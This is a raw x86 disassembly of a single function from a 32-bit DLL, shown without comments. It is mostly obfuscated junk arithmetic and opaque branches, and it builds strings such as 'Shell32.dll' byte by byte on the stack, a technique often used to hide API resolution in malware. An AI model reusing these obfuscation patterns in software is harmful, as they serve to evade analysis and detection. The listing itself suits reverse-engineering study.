mov eax, dword [0x1000e010]
mov edi, edx
add eax, ecx
cdq
xor eax, esi
xor edx, edi
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], edx
mov di, word [esp + 0x3c]
mov ecx, dword [esp + 0x2c]
mov ax, word [esp + 0x94]
sub esp, 8
movsx esi, al
dec ecx
mov eax, esi
mov dword [0x1000e098], 0x8649
cdq
mov dword [esp + 0x34], ecx
mov dword [0x1005d128], eax
mov dword [0x1005d12c], edx
mov byte [esp + 0xff], 0x32
call fcn.10001000
add esp, 8
mov byte [esp + 0x11], al
cmp dword [0x1000e060], 0
je 0x100098fe
test di, di
je 0x100098fe
mov eax, dword [esp + 0x38]
mov edi, dword [esp + 0x74]
add eax, 0x623
mov word [0x1000e014], ax
test edi, edi
je 0x100098eb
mov eax, dword [0x1000e030]
mov ecx, dword [0x1000e034]
mov dword [0x1000e018], eax
mov dword [0x1000e01c], ecx
jmp 0x1000990b
movsx eax, byte [esp + 0x1f]
cdq
mov dword [0x1000e018], eax
mov dword [0x1000e01c], edx
jmp 0x1000990b
mov edi, dword [esp + 0x74]
mov eax, esi
sar eax, 6
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x17c]
mov eax, dword [esp + 0x180]
mov eax, dword [esp + 0x50]
mov edx, dword [esp + 0x9c]
xor dl, al
mov byte [esp + 0xf8], 0x2e
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x9c]
xor cl, al
mov eax, dword [esp + 0x50]
sub dl, cl
movsx eax, al
movsx ecx, byte [esp + 0x9c]
imul eax, ecx
mov ecx, dword [esp + 0x50]
add cl, byte [esp + 0x9c]
mov byte [esp + 0xfc], 0
xor cl, al
movsx eax, dl
movsx ecx, cl
imul ecx, eax
add cl, 0x65
mov byte [esp + 0xf4], cl
call fcn.100015c0
movzx eax, ax
xor ecx, ecx
mov dword [0x1000e010], eax
mov eax, dword [0x1000e010]
cmp eax, 0x3f
mov eax, dword [0x1000e010]
setne cl
neg eax
sbb eax, eax
neg eax
cmp eax, ecx
je 0x10009a19
movzx eax, byte [esp + 0x11]
add al, byte [0x10133ab9]
mov byte [esp + 0x11], al
mov ax, word [0x1000e07c]
inc ax
mov word [0x1000e07c], ax
mov ecx, dword [esp + 0x70]
mov edx, 0x83b5d7b8
mov byte [esp + 0xe2], 0x6c
sub edx, dword [0x1000e048]
mov esi, 0xdba53
mov dword [esp + 0x9c], edx
sbb esi, dword [0x1000e04c]
cmp dword [0x1000e010], 0
mov dword [esp + 0x94], esi
mov byte [esp + 0xe0], 0x64
je 0x10009a71
mov al, byte [esp + 0x2c]
mov edi, edx
sub al, 0x4d
xor edi, 0xc0
mov byte [esp + 0x12], al
mov dword [esp + 0x74], edi
jmp 0x10009aac
mov al, byte [0x1000e017]
xor ecx, ecx
test al, al
movsx eax, al
sete cl
cmp ecx, eax
jg 0x100099bd
mov cl, byte [0x1000e001]
xor eax, eax
cmp byte [0x1000e003], al
sete al
cmp eax, edi
sete al
add cl, al
mov al, byte [0x1000e016]
add cl, byte [esp + 0x84]
movsx ecx, cl
movsx edx, al
mov eax, dword [esp + 0x68]
imul edx, ecx
movsx eax, al
movsx ecx, dl
imul ecx, eax
not cl
mov dword [esp + 0x70], ecx
jmp 0x100099c1
mov eax, dword [esp + 0x38]
mov ax, word [0x1000e024]
mov eax, dword [esp + 0x84]
cdq
add eax, 0xcfad1599
mov dword [esp + 0x9c], eax
adc edx, 0xfffe3382
movsx eax, cl
mov dword [esp + 0x94], edx
cdq
add dword [0x1000e070], eax
adc dword [0x1000e074], edx
mov eax, dword [esp + 0x184]
mov eax, dword [esp + 0x160]
mov edx, dword [esp + 0x64]
mov al, dl
add al, 0x4c
mov byte [esp + 0xdc], 0x6c
mov byte [esp + 0x50], al
mov eax, dword [0x1000e078]
sub eax, dword [esp + 0x8c]
mov dword [esp + 0x88], eax
cmp word [esp + 0x14], 0
mov byte [esp + 0xdf], 0x2e
je 0x10009b0b
movzx eax, byte [esp + 0x11]
cdq
mov dword [esp + 0x58], eax
mov eax, dword [0x10047e58]
mov dword [esp + 0x5c], edx
mov dword [0x1000e094], eax
jmp 0x10009b68
movzx ecx, word [esp + 0x14]
movsx eax, byte [esp + 0x13]
cmp ecx, eax
jl 0x10009b26
imul eax, edx, 0x17b3e9ed
mov dword [0x1000e020], eax
jmp 0x10009b68
cmp byte [0x1000e017], 0
je 0x10009b48
mov ecx, dword [0x1000e078]
movsx eax, byte [section..data]
xor eax, ecx
sub ecx, eax
mov dword [0x1000e078], ecx
jmp 0x10009b68
cmp byte [esp + 0x1f], 0
je 0x10009b68
mov dword [esp + 0x38], 0xc9662e9
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
add cl, 0x69
mov byte [0x1000e007], cl
mov eax, dword [esp + 0x98]
mov edx, dword [esp + 0x98]
mov ecx, dword [esp + 0x98]
xor dl, al
sub cl, byte [esp + 0x18c]
movsx eax, dl
movsx ecx, cl
imul ecx, eax
movsx eax, byte [esp + 0x13]
mov edi, dword [0x1000e074]
mov esi, dword [0x1000e070]
cdq
add cl, 0x68
mov byte [esp + 0xd8], 0x53
mov byte [esp + 0xd9], cl
cmp edi, edx
jb 0x10009bc4
ja 0x10009bbd
cmp esi, eax
jb 0x10009bc4
mov ecx, 1
jmp 0x10009bc6
xor ecx, ecx
test edi, edi
jne 0x10009bd3
cmp esi, 0x44
jae 0x10009bd3
xor eax, eax
jmp 0x10009bd8
mov eax, 1
cmp ecx, eax
jbe 0x10009c43
mov al, byte [esp + 0x11]
xor ecx, ecx
test al, al
mov edi, 0xac70
movsx eax, byte [0x1000e003]
sete cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [esp + 0x38]
sete dl
sub edx, ecx
mov ecx, dword [esp + 0x88]
sub edx, ecx
mov ecx, dword [0x1000e038]
mov eax, edx
cdq
mov dword [esp + 0x7c], eax
mov eax, dword [0x1000e03c]
mov dword [esp + 0x78], edx
mul edi
mov esi, eax
mov eax, ecx
mul edi
mov edi, dword [0x1000e074]
or dword [0x1000e030], eax
add esi, edx
or dword [0x1000e034], esi
mov esi, dword [0x1000e070]
jmp 0x10009c5d
cmp dword [0x1000e078], 0
je 0x10009c5d
movsx eax, byte [esp + 0x50]
cdq
mov dword [0x1000e038], eax
mov dword [0x1000e03c], edx
mov byte [esp + 0xdd], 0x33
cmp dword [0x1000e044], edi
jb 0x10009cd7
ja 0x10009c77
cmp dword [0x1000e040], esi
jb 0x10009cd7
mov ecx, dword [0x1000e098]
test ecx, ecx
je 0x10009cab
mov eax, dword [esp + 0x84]
add ecx, 0x783a39b6
cdq
mov dword [esp + 0x20], ecx
mov dword [esp + 0x9c], eax
mov dword [esp + 0x94], edx
mov dword [esp + 0x24], 0
jmp 0x10009cd7
cmp dword [esp + 0x38], 0
je 0x10009ccf
mov byte [0x1000e004], 0xe5
mov dword [0x1000e048], 8
mov dword [0x1000e04c], 0
jmp 0x10009cd7
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x148]
mov al, byte [0x1000e001]
add al, 0x68
mov byte [esp + 0xdb], 0x6c
mov byte [esp + 0xe1], 0x6c
mov byte [esp + 0xda], 0x65
mov byte [0x1000e007], al
mov eax, dword [esp + 0x14c]
mov edx, dword [esp + 0x150]
xor dl, al
mov eax, dword [esp + 0x164]
mov ecx, dword [esp + 0x164]
xor cl, al
movsx eax, dl
movsx ecx, cl
imul ecx, eax
mov al, 0x32
sub al, cl
mov byte [esp + 0xde], al
movsx eax, byte [esp + 0x12]
mov esi, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
cdq
cmp edx, ecx
jg 0x10009d55
jl 0x10009d4e
cmp eax, esi
jae 0x10009d55
mov edx, 1
jmp 0x10009d57
xor edx, edx
mov al, byte [esp + 0x12]
xor ecx, ecx
mov edi, dword [esp + 0x18]
cmp al, 0xb
setl cl
cmp edx, ecx
ja 0x10009d9f
movzx eax, word [esp + 0x14]
mov ecx, 0xfffffff8
cdq
sub ecx, eax
mov dword [0x1000e018], 4
mov eax, 0xffffffff
mov dword [0x1000e01c], 0
sbb eax, edx
add dword [esp + 0x54], ecx
adc dword [esp + 0x90], eax
jmp 0x10009dd3
test edi, edi
ja 0x10009db6
jb 0x10009daf
cmp dword [esp + 0x64], 0x3677924d
ja 0x10009db6
mov ecx, 1
jmp 0x10009db8
xor ecx, ecx
movsx eax, word [0x1000e068]
imul eax, ecx
test eax, eax
je 0x10009dd3
mov ax, word [0x1000e014]
sub al, 0x24
mov byte [0x1000e002], al
mov eax, dword [esp + 0x68]
mov ecx, dword [0x1000e028]
mov esi, dword [0x1000e02c]
cdq
mov byte [esp + 0xe3], 0
cmp eax, ecx
jne 0x10009df8
cmp edx, esi
jne 0x10009df8
xor ecx, ecx
jmp 0x10009dfd
mov ecx, 1
xor eax, eax
cmp dword [esp + 0x68], 2
setne al
cmp ecx, eax
ja 0x10009ec0
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
not ecx
not eax
or ecx, eax
jne 0x10009e42
cmp word [esp + 0x14], cx
je 0x10009e42
xorps xmm0, xmm0
movlpd qword [esp + 0x150], xmm0
mov esi, dword [esp + 0x154]
mov edx, dword [esp + 0x150]
jmp 0x10009e49
mov edx, 1
xor esi, esi
mov eax, dword [0x1000e028]
sub edx, eax
mov ecx, dword [0x1000e02c]
not edx
sbb esi, ecx
not esi
or edx, esi
je 0x10009e96
mov al, byte [esp + 0x12]
mov edx, dword [0x1000e048]
sub al, 0x47
mov esi, dword [0x1000e04c]
shld esi, edx, 1
mov byte [0x1000e006], al
mov eax, dword [esp + 0x40]
add edx, edx
mov ecx, dword [esp + 0x44]
add eax, edx
mov dword [0x1000e048], eax
adc ecx, esi
mov dword [0x1000e04c], ecx
jmp 0x10009ec0
cmp byte [0x1000e007], 0
je 0x10009ea4
mov eax, dword [0x1000e05c]
mov ecx, dword [0x1000e040]
mov eax, dword [0x1000e044]
xor ecx, 0xbdd59f8d
xor eax, 0
mov dword [esp + 0x58], ecx
mov dword [esp + 0x5c], eax
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
mov eax, 0xffffff65
mov byte [esp + 0xe8], 0x61
sub eax, ecx
mov byte [esp + 0xeb], 0x2e
add dword [0x1000e098], eax
mov al, byte [0x1000e060]
add al, 0x53
mov byte [esp + 0x13], al
mov byte [0x1000e002], 0xf4
movsx ecx, byte [esp + 0x12]
movzx eax, byte [0x1000e002]
add ecx, 0xf4
cmp eax, ecx
jne 0x10009f6a
mov eax, dword [esp + 0x74]
add eax, 0x5d88
cmp dword [0x1000e064], eax
jne 0x10009f6a
mov edx, dword [esp + 0x40]
mov esi, dword [esp + 0x44]
mov eax, dword [esp + 0x40]
xor esi, edi
xor edx, dword [esp + 0x64]
mov ecx, dword [esp + 0x44]
add eax, edx
mov dword [esp + 0x40], eax
adc ecx, esi
mov esi, dword [esp + 0x7c]
mov dword [esp + 0x44], ecx
mov eax, esi
mov ecx, dword [esp + 0x78]
or eax, ecx
je 0x10009f5c
movzx eax, byte [0x1000e002]
mov dword [0x1000e020], eax
jmp 0x10009f72
mov eax, dword [esp + 0x8c]
mov dword [0x1000e020], eax
jmp 0x10009f72
mov esi, dword [esp + 0x7c]
mov ecx, dword [esp + 0x78]
mov al, byte [section..data]
mov byte [0x1000e002], 0xf4
mov byte [0x1000e007], al
cmp word [0x1000e068], 0
je 0x10009f9c
mov al, byte [esp + 0x9c]
add al, 0x2b
add byte [0x1000e006], al
mov eax, dword [esp + 0x38]
cdq
and edx, ecx
mov byte [esp + 0xe4], 0x53
and eax, esi
add esi, eax
mov dword [esp + 0x7c], esi
adc ecx, edx
mov dl, 0xa6
mov dword [esp + 0x78], ecx
mov ecx, dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
mov dword [esp + 0x98], eax
sub byte [esp + 0x98], cl
mov eax, dword [esp + 0xb0]
sub dl, al
mov eax, dword [esp + 0xa4]
mov ecx, dword [esp + 0x98]
mov dword [esp + 0xb0], eax
movsx eax, byte [esp + 0xa4]
movsx ecx, cl
imul ecx, eax
movsx eax, dl
movsx ecx, cl
imul ecx, eax
mov eax, dword [esp + 0xb0]
movsx eax, al
movsx ecx, cl
imul ecx, eax
movsx eax, byte [esp + 0x50]
cdq
mov edi, edx
add cl, 0x70
mov byte [esp + 0xe9], cl
mov ecx, eax
add ecx, 0x24168370
mov dword [esp + 0xb0], ecx
adc edi, 0xf0f0e
movsx eax, word [0x1000e07c]
cdq
mov dword [0x1000e048], 0x24168370
mov dword [0x1000e04c], 0xf0f0e
cmp eax, ecx
jne 0x1000a112
cmp edx, edi
jne 0x1000a112
mov al, byte [esp + 0x11]
sub esp, 0x10
call fcn.10001730
movzx eax, ax
add esp, 0x10
cmp word [esp + 0x14], 0
cdq
mov dword [0x1000e080], eax
mov dword [0x1000e084], edx
je 0x1000a0b0
cmp dword [esp + 0x2c], 0
jne 0x1000a0e2
mov eax, dword [esp + 0x64]
mov dword [0x10047b10], eax
mov eax, dword [esp + 0x18]
mov dword [0x10047b14], eax
jmp 0x1000a0e2
mov edx, dword [0x1000e028]
mov esi, dword [0x1000e02c]
mov eax, dword [0x1000e028]
add edx, eax
mov ecx, dword [0x1000e02c]
mov eax, dword [esp + 0x40]
adc esi, ecx
mov ecx, dword [esp + 0x44]
add eax, edx
mov dword [0x1000e028], eax
adc ecx, esi
mov dword [0x1000e02c], ecx
mov eax, dword [esp + 0x38]
cdq
mov ecx, eax
mov esi, edx
movzx eax, word [0x1000e06c]
add ecx, 0xae904d2f
cdq
adc esi, 0x87653
cmp eax, ecx
jne 0x1000a112
mov ecx, dword [esp + 0xb0]
cmp edx, esi
je 0x1000a043
mov ecx, dword [esp + 0x58]
xor edx, edx
mov eax, dword [esp + 0x5c]
cmp edx, eax
mov eax, dword [esp + 0x2c]
ja 0x1000a131
jb 0x1000a12a
cmp eax, ecx
ja 0x1000a131
mov ecx, 1
jmp 0x1000a133
xor ecx, ecx
mov edx, 0x11
cmp edx, eax
sbb eax, eax
inc eax
cmp ecx, eax
jae 0x1000a16f
movzx eax, word [0x1000e014]
cmp eax, dword [esp + 0x74]
jbe 0x1000a166
mov al, byte [0x1000e001]
add al, byte [esp + 0x50]
mov byte [0x1000e001], al
mov dword [0x1000e090], 0x853765f
mov al, byte [esp + 0x1f]
movsx esi, al
jmp 0x1000a1c8
movzx eax, byte [0x1000e001]
mov ecx, 0x2c78e151
movsx esi, byte [esp + 0x1f]
not eax
add eax, dword [esp + 0x68]
mov edi, dword [0x1000e00c]
neg eax
mov dword [0x1000e098], 0xee1f8f99
sbb eax, eax
sub ecx, esi
inc eax
imul eax, ecx
mov ecx, dword [0x1000e008]
not eax
cdq
sub ecx, eax
mov eax, dword [esp + 0x70]
movsx eax, al
sbb edi, edx
cdq
sub ecx, eax
mov al, byte [esp + 0x1f]
mov dword [esp + 0x54], ecx
sbb edi, edx
mov dword [esp + 0x90], edi
mov byte [esp + 0xee], 0x6c
mov byte [esp + 0xe6], 0x6c
mov dword [0x1000e038], 0x194b
movsx eax, al
cdq
mov dword [0x1000e03c], 0
mov ecx, dword [0x1000e038]
mov edi, dword [0x1000e03c]
add ecx, eax
mov dword [esp + 0x98], eax
mov dword [esp + 0xb0], eax
adc edi, edx
movzx eax, word [0x1000e014]
mov dword [esp + 0x18], edx
mov dword [esp + 0x150], edx
cdq
cmp eax, ecx
jne 0x1000a433
cmp edx, edi
jne 0x1000a433
lea eax, [esi + 0x6d]
mov dword [esp + 0x14c], eax
nop dword [eax + eax]
mov eax, dword [esp + 0x70]
mov edi, dword [0x1000e01c]
mov esi, dword [0x1000e018]
movsx eax, al
cdq
cmp edx, edi
jb 0x1000a2e5
ja 0x1000a266
cmp eax, esi
jb 0x1000a2e5
push dword [0x1000e034]
mov ecx, 1
mov eax, 0
sub ecx, dword [esp + 0x80]
push dword [0x1000e030]
sbb eax, dword [esp + 0x80]
push eax
push ecx
call fcn.1000cc80
not eax
not edx
or eax, edx
je 0x1000a2da
movzx eax, byte [0x1000e001]
mov ecx, dword [0x1000e010]
not eax
mov edi, dword [0x1000e01c]
not ecx
mov esi, dword [0x1000e018]
imul ecx, eax
movsx eax, byte [esp + 0x50]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
mov eax, dword [esp + 0x54]
add eax, 0xffff2c39
imul ecx, eax
mov dword [esp + 0x84], ecx
jmp 0x1000a2e5
mov eax, dword [0x10047e58]
mov word [0x1000e024], ax
mov eax, dword [esp + 0xb0]
mov edx, dword [esp + 0x150]
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0x14c]
mov dword [esp + 0x18], edx
cmp dword [0x1000e064], eax
jne 0x1000a433
movsx eax, byte [esp + 0x50]
cdq
cmp edi, edx
jb 0x1000a328
ja 0x1000a321
cmp esi, eax
jbe 0x1000a328
mov ecx, 1
jmp 0x1000a32a
xor ecx, ecx
test edi, edi
jne 0x1000a337
cmp esi, 0x41
ja 0x1000a337
xor eax, eax
jmp 0x1000a33c
mov eax, 1
cmp ecx, eax
je 0x1000a3d2
mov ecx, dword [0x1000e048]
sub ecx, dword [esp + 0x2c]
mov eax, dword [0x1000e04c]
sbb eax, 0
or ecx, eax
je 0x1000a3e8
movsx eax, byte [esp + 0x12]
mov ecx, dword [0x1000e05c]
mov esi, dword [esp + 0x58]
xor ecx, eax
movsx eax, byte [0x1000e003]
mov edi, dword [esp + 0x5c]
cdq
xor edi, edi
mov edx, dword [0x1000e090]
sub esi, eax
and esi, ecx
inc edx
movsx ecx, byte [esp + 0x50]
mov eax, edi
mov dword [esp + 0x148], esi
add ecx, edx
movzx esi, word [0x1000e06c]
sub esi, dword [esp + 0x2c]
imul esi, ecx
mul esi
mov ecx, eax
mov eax, dword [esp + 0x148]
mul esi
not eax
add ecx, edx
mov dword [esp + 0x7c], eax
not ecx
mov eax, dword [esp + 0x68]
add eax, 0xffffda32
mov dword [esp + 0x78], ecx
mov word [0x1000e014], ax
jmp 0x1000a3e8
cmp word [0x1000e07c], 0
je 0x1000a3e8
mov eax, dword [esp + 0x70]
add al, byte [esp + 0x2c]
mov dword [esp + 0x70], eax
movsx eax, byte [esp + 0x1f]
mov dword [0x1000e038], 0x194b
cdq
mov dword [0x1000e03c], 0
mov edi, edx
mov ecx, dword [0x1000e038]
mov esi, dword [0x1000e03c]
add ecx, eax
mov dword [esp + 0x98], eax
movzx eax, word [0x1000e014]
adc esi, edi
cdq
mov dword [esp + 0x18], edi
cmp eax, ecx
jne 0x1000a433
cmp edx, esi
je 0x1000a240
mov al, byte [0x1000e030]
mov esi, 0x49ee
sub al, byte [section..data]
mov edx, dword [esp + 0x6c]
mov byte [esp + 0x4f], al
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x6c]
sub al, dl
sub cl, byte [esp + 0x140]
mov edx, 0x223
movsx ecx, cl
movsx eax, al
imul ecx, eax
mov byte [esp + 0xea], 0x69
add cl, 0x64
add dword [esp + 0x84], 0x733fd
mov byte [esp + 0xec], cl
nop word [eax + eax]
mov ecx, 0x35f
nop word [eax + eax]
mov ax, word [0x1000e014]
dec ecx
add ax, word [0x1000e020]
add ax, si
mov word [0x1000e014], ax
test ecx, ecx
jg 0x1000a4a0
add dword [0x1000e080], 1
adc dword [0x1000e084], 0
dec edx
test edx, edx
jg 0x1000a490
movsx eax, byte [esp + 0x50]
mov byte [esp + 0xe5], 0x68
mov dword [0x1000e05c], 0xb060
mov ecx, dword [0x1000e05c]
add ecx, eax
movsx eax, byte [0x1000e004]
cmp eax, ecx
jne 0x1000a5f5
mov edi, dword [esp + 0x98]
mov esi, dword [esp + 0x18]
add edi, 0x34ce0d7d
adc esi, 0xf452e
sub esp, 0x38
call fcn.10001920
mov dword [esp + 0x8c], eax
add esp, 0x38
mov al, byte [0x1000e016]
mov al, byte [esp + 0x12]
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov eax, dword [0x1000e094]
mov dword [esp + 0x90], edx
cdq
cmp eax, edi
jne 0x1000a5f5
cmp edx, esi
jne 0x1000a5f5
movzx ecx, byte [esp + 0x11]
movsx eax, byte [esp + 0x50]
cmp ecx, eax
je 0x1000a5a7
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
call fcn.100015c0
movzx eax, ax
mov dword [esp + 0x3c], eax
test ax, ax
je 0x1000a598
mov eax, dword [0x1000e090]
cdq
add eax, 0x4d8df99c
mov dword [0x1000e028], eax
adc edx, 0x576d0
mov dword [0x1000e02c], edx
jmp 0x1000a5cf
mov cl, byte [0x1000e078]
sub cl, 0x79
mov byte [esp + 0x50], cl
jmp 0x1000a5cf
movsx eax, word [0x1000e07c]
imul eax, eax, 0xd8
cdq
mov dword [0x1000e028], eax
mov dword [0x1000e02c], edx
movsx eax, byte [esp + 0x12]
sub eax, 0x45f5c55b
mov dword [0x1000e058], eax
movsx eax, byte [esp + 0x50]
mov dword [0x1000e05c], 0xb060
mov ecx, dword [0x1000e05c]
add ecx, eax
movsx eax, byte [0x1000e004]
cmp eax, ecx
je 0x1000a513
mov esi, 0x116
nop word [eax + eax]
mov ecx, dword [esp + 0x58]
mov edx, 0xafdb
mov eax, dword [esp + 0x5c]
mul edx
mov edi, eax
mov eax, ecx
mov ecx, 0xafdb
mul ecx
mov ecx, dword [0x1000e038]
add edi, edx
mov dword [esp + 0x78], eax
mov edx, dword [0x1000e03c]
add ecx, 1
mov dword [0x1000e038], ecx
adc edx, 0
mov dword [esp + 0x7c], edi
mov dword [0x1000e03c], edx
mov ecx, dword [0x1000e094]
inc ecx
mov dword [0x1000e094], ecx
sub esi, 1
jne 0x1000a600
mov ecx, dword [esp + 0x74]
mov byte [esp + 0xed], 0x6c
inc ecx
mov byte [0x1000e016], 0x8d
movzx eax, byte [0x1000e016]
cmp eax, ecx
jne 0x1000a687
mov eax, dword [esp + 0x38]
xor dword [esp + 0x68], eax
mov dword [esp + 0x20], 1
mov dword [esp + 0x24], esi
mov byte [0x1000e016], 0x8d
mov eax, dword [esp + 0x38]
mov esi, dword [0x1000e008]
mov ecx, esi
mov edi, dword [0x1000e00c]
cdq
xor ecx, eax
mov eax, edi
xor eax, edx
sub esi, ecx
mov dword [0x1000e008], esi
sbb edi, eax
movzx eax, byte [0x1000e006]
xor dword [esp + 0x2c], eax
cmp dword [esp + 0x68], 0
mov dword [0x1000e00c], edi
je 0x1000a6fe
cmp dword [0x1000e098], 0
movsx eax, byte [0x1000e017]
mov dword [0x1000e040], 0xb1
mov dword [0x1000e044], 0
jne 0x1000a6f2
movzx eax, byte [esp + 0x11]
mov cl, byte [section..data]
mov dword [esp + 0x38], eax
jmp 0x1000a72e
mov ecx, dword [0x1000e058]
xor eax, eax
cmp byte [esp + 0x70], al
sete al
sub ecx, eax
mov eax, dword [esp + 0x38]
inc eax
not eax
and eax, ecx
mov cl, byte [section..data]
cdq
mov dword [esp + 0x40], eax
movsx eax, cl
mov dword [esp + 0x44], edx
mov dword [esp + 0x74], eax
mov al, byte [0x1000e040]
mov di, word [esp + 0x3c]
sub al, 0x16
mov byte [esp + 0xe7], 0x77
mov byte [esp + 0x11], al
movzx eax, di
not al
mov byte [esp + 0xef], 0
movzx eax, al
imul eax, eax, 0xa3
mov byte [0x1000e001], al
movsx eax, cl
cdq
cmp edx, dword [esp + 0x90]
jb 0x1000a77d
ja 0x1000a776
cmp eax, dword [esp + 0x54]
jb 0x1000a77d
mov edx, 1
jmp 0x1000a77f
xor edx, edx
xor eax, eax
cmp cl, 0x43
setge al
cmp edx, eax
jbe 0x1000a819
movsx eax, byte [esp + 0x13]
cdq
cmp dword [0x1000e074], edx
jb 0x1000a7d4
ja 0x1000a7a7
cmp dword [0x1000e070], eax
jbe 0x1000a7d4
cmp dword [0x1000e094], 0
mov edx, dword [esp + 0x68]
movsx eax, byte [0x1000e017]
sete cl
movsx edx, dl
imul edx, eax
sub dl, cl
add dl, byte [0x1000e020]
not dl
mov byte [0x1000e003], dl
jmp 0x1000a828
mov eax, dword [esp + 0x9c]
or eax, dword [esp + 0x94]
je 0x1000a828
mov edx, dword [0x1000e088]
mov esi, dword [0x1000e08c]
mov eax, dword [esp + 0x20]
add edx, eax
mov ecx, dword [esp + 0x24]
adc esi, ecx
add edx, 0xffffff8f
mov dword [esp + 0x20], edx
adc esi, 0xffffffff
xor dword [esp + 0x3c], 0x216c
mov di, word [esp + 0x3c]
mov dword [esp + 0x24], esi
jmp 0x1000a828
mov eax, dword [0x1000e080]
and eax, 0x37ba5672
mov dword [0x1000e098], eax
mov ecx, dword [esp + 0x40]
mov eax, 0x2e
mov word [esp + 0x170], ax
mov eax, 0x74
mov word [esp + 0x176], ax
mov eax, dword [esp + 0x44]
or ecx, eax
je 0x1000a88f
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
movsx eax, cl
imul eax, eax, 0x13
mov byte [esp + 0x12], al
movzx eax, word [esp + 0x14]
imul ecx, eax, 0x2348
mov ax, word [0x1000e014]
movsx edx, al
mov eax, dword [esp + 0x2c]
movsx eax, al
not ecx
movsx ecx, cl
imul edx, ecx
movsx ecx, dl
imul ecx, eax
mov byte [esp + 0x13], cl
jmp 0x1000a8b4
movzx eax, byte [esp + 0x11]
cmp eax, dword [0x1000e094]
jge 0x1000a8a1
mov eax, dword [0x1000e010]
mov ecx, dword [0x1000e038]
mov eax, dword [0x1000e03c]
neg ecx
mov dword [0x1000e098], ecx
mov eax, 0x70
mov word [esp + 0x16e], ax
call fcn.100015c0
mov edx, dword [esp + 0x40]
mov si, ax
mov ecx, dword [esp + 0x44]
or edx, ecx
jne 0x1000a8e4
mov eax, dword [0x1000e064]
not eax
test eax, eax
jne 0x1000a8e4
xor ecx, ecx
jmp 0x1000a8e9
mov ecx, 1
movsx eax, di
cdq
cmp dword [esp + 0x78], eax
jne 0x1000a900
cmp dword [esp + 0x7c], edx
jne 0x1000a900
mov eax, 1
jmp 0x1000a902
xor eax, eax
cmp ecx, eax
je 0x1000a933
mov eax, dword [0x1000e078]
not eax
test eax, eax
je 0x1000a933
mov ecx, dword [esp + 0x58]
mov eax, dword [esp + 0x5c]
add cl, 0x56
mov byte [esp + 0x13], cl
mov dword [esp + 0x64], 4
mov dword [esp + 0x144], 0
imul eax, dword [esp + 0xac], 0x26e
mov edx, 0x65
imul ecx, dword [esp + 0xac], 0x26e
mov dword [esp + 0xb4], 0xcb7b3
movzx eax, ax
xor ecx, eax
mov eax, 0x64
sub eax, ecx
mov word [esp + 0x168], ax
mov al, byte [esp + 0x11]
mov byte [0x1000e001], al
movsx ecx, byte [esp + 0x12]
mov eax, dword [esp + 0x88]
sub cl, al
cmp byte [esp + 0x50], 0
mov eax, 0x33db0d16
mov dword [esp + 0xac], eax
mov word [esp + 0x16a], dx
mov byte [esp + 0x12], cl
mov eax, dword [esp + 0xbc]
mov eax, dword [esp + 0xa8]
mov eax, 0x74
mov word [esp + 0x172], ax
jne 0x1000a9c2
mov eax, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
sub esp, 0x10
sub eax, dword [esp + 0x3c]
mov dword [esp + 0x4c], eax
mov eax, 0x78
mov word [esp + 0x184], ax
mov eax, dword [0x1000e094]
mov dword [0x1000e020], 0x194b
mov byte [0x1000e004], 0x2e
mov word [esp + 0x17c], dx
call fcn.10001730
mov edx, dword [esp + 0x30]
add esp, 0x10
mov ecx, dword [esp + 0x24]
or edx, ecx
mov byte [esp + 0x4e], al
jne 0x1000aa19
lea ecx, [edx + 1]
jmp 0x1000aa1b
xor ecx, ecx
movsx eax, byte [0x1000e017]
cmp ecx, eax
jl 0x1000aa2e
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
mov eax, dword [0x1000e090]
mov ecx, dword [esp + 0x58]
add eax, 0xcb
cdq
mov dword [0x1000e070], eax
mov eax, dword [esp + 0x5c]
mov ax, word [0x1000e068]
mov edi, dword [esp + 0x74]
movzx ecx, cx
sub cx, ax
mov dword [0x1000e074], edx
movzx eax, cx
mov cx, word [0x1000e068]
add cx, ax
mov word [0x1000e068], cx
mov eax, dword [esp + 0xa0]
add eax, dword [esp + 0xa0]
movzx edx, ax
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x80]
xor ecx, eax
movzx eax, word [0x1000e024]
imul ecx, edx
cmp edi, eax
mov word [esp + 0x178], cx
sbb ecx, ecx
neg ecx
cmp edi, 0x62
sbb eax, eax
neg eax
cmp ecx, eax
ja 0x1000aaf7
cmp dword [0x1000e05c], 0
je 0x1000ab5b
movzx eax, byte [0x1000e001]
mov ecx, dword [0x1000e078]
cdq
and eax, dword [0x1000e030]
and edx, dword [0x1000e034]
add ecx, 0x7a0b59ad
mov dword [esp + 0xac], eax
mov dword [esp + 0xb4], edx
mov dword [0x1000e020], ecx
jmp 0x1000ab5b
cmp dword [0x1000e05c], 0
jne 0x1000ab0e
cmp dword [esp + 0x88], 0
je 0x1000ab0e
xor edx, edx
jmp 0x1000ab13
mov edx, 1
mov ax, word [0x1000e07c]
xor ecx, ecx
test ax, ax
sete cl
cmp ecx, edx
ja 0x1000ab38
mov ax, word [0x1000e014]
xor ax, word [esp + 0x64]
mov word [0x1000e014], ax
jmp 0x1000ab5b
movsx eax, byte [esp + 0x4f]
cmp eax, dword [esp + 0x38]
jl 0x1000ab5b
mov al, byte [0x10017ea9]
add byte [0x1000e004], al
movzx eax, si
add eax, 0xbc
mov dword [0x1000e090], eax
mov eax, dword [esp + 0x20]
sub esp, 0x38
mov ecx, dword [esp + 0x5c]
mov byte [esp + 0x109], 0x74
call fcn.10001920
mov word [0x1000e014], ax
add esp, 0x38
movzx eax, word [0x1000e014]
mov ecx, 0x59
cmp cx, ax
movzx eax, word [0x1000e014]
